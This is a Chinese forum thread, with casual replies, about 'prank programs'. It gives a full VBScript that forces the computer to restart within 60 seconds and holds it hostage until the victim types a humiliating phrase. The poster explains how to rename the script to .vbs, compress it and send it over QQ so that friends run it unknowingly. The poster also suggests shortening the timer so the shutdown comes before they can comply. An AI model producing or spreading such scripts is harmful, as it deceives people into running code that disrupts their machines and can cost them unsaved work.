教你玩整人程序

Desginer

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"     
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，
结素任务都不行，他只能说他是猪才能解决问题。够坏吧？    注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
就修改成   我爱你   这样他只有说我爱你之后才不关闭计算机哦  也可以把时间修改为20  就是说打开了20秒就关了,还没等对方打完就关机了  是不是叫对方很郁闷呢?
第2招编写VBS脚本   
首先你可以看下面的

游客，如果您要查看本帖隐藏内容请回复

把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的  嘿，谢谢你打开我哦，我等你很久拉！
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句  会按顺序说完
你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢？
这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改
这个最简单的就是结素任务来结束它

《》缩影，黎

好多好复杂的样子[em34]没耐心

《》缩影，黎

看了一下 好像还挺好玩的哈哈哈  不过有些麻烦

zomten

这行不啊楼主.
            有待验证哦[em22]

zomten

想问楼主下.
         第一个那个，文本改名后是不是把它放在先前建的那个文件夹里啊，然后再压缩？
   你都没说清楚啊

zomten

[em26].
   不错挺好使的.
      嘻嘻，谢楼主.

_小囡不才

还要回复……

Desginer

[em34]直接把那些复制进去记事本
然后另存为 后缀改下就可以了···.vbs

多尼多尼乔巴。

[em03]老这样.

小灰

我接过[em60]